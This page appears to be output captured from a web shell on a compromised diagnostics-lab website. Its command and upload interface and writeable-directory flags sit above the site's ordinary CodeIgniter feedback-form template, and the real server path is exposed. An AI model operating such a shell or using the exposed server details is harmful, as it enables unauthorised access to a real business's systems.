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nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/views/templates/redlabel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/views/templates/redlabel/feedback.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed'); ?>
<div class="container breadCrumbBox">
	<div class="row">
	
		<ul class="appointBreadcrumb col-md-12">
			<li><a href="<?= base_url() ?>">Home</a></li>
			<li><a href="<?= base_url() ?>page/about-us">About Us</a></li>
			<li><a href="javascript:void(0)">Feedback/Complaint</a></li>            
		</ul>
		
	</div>
</div>
<div class="clear"></div>
        <div class="container feedbackBox">
            <div class="row">
                <div class="col-md-6 feedbacImgbox">
                    <img src="<?=base_url('assets/imgs/feedback-icon.png'); ?>">
                    
               </div>
                <div class="col-md-6 feed_formArea">
                    <h1>Send us a feedback</h1>
                    <h3>We'd love to hear from you</h3>
                    <div class="clear"></div>
				<?php
                if ($this->session->flashdata('resultSend')) {
                    ?>
                    <hr>
                    <div class="alert alert-info"><?= $this->session->flashdata('resultSend') ?></div>
                    <hr>
                <?php }
                ?>
                    <form action="" method="POST">
                        <div class="user-input-wrp">
                            <input type="text" class="inputText" name="name" required />
                            <span class="floating-label">Name</span>
                        </div>
                        <div class="user-input-wrp">
                            <input type="email" class="inputText" name="email" required />
                            <span class="floating-label">Email</span>
                        </div>
                        <div class="user-input-wrp">
                            <input type="text" class="inputText" name="contact" required />
							<input type="hidden" class="inputText" name="createdon" value="<?php echo date('Y-m-d'); ?>" />
                            <span class="floating-label">Mobile No.</span>
                        </div>
                        <div class="user-input-wrp" >
                            <select class="inputText" name="type">
                                <option>Query Type</option>
                                <option value="Complaint">Complaint</option>
                                <option value="Feedback">Feedback</option>
                                
                            </select>
                        </div>
                        <div class="user-input-wrp">
                            <textarea class="inputText" name="message" placeholder="Message" required style="width: 438px; height: 89px;" /></textarea>
                        </div>
						<button type="submit" name="submit" class="submitFeedBack" id="btnContactUs"><i class="fa fa-long-arrow-right"></i></button>
                        </form>                    
                <div class="clear"></div>
                </div>
            </div>
            <div class="clear"></div>
        </div>    
        <div class="clear"></div>

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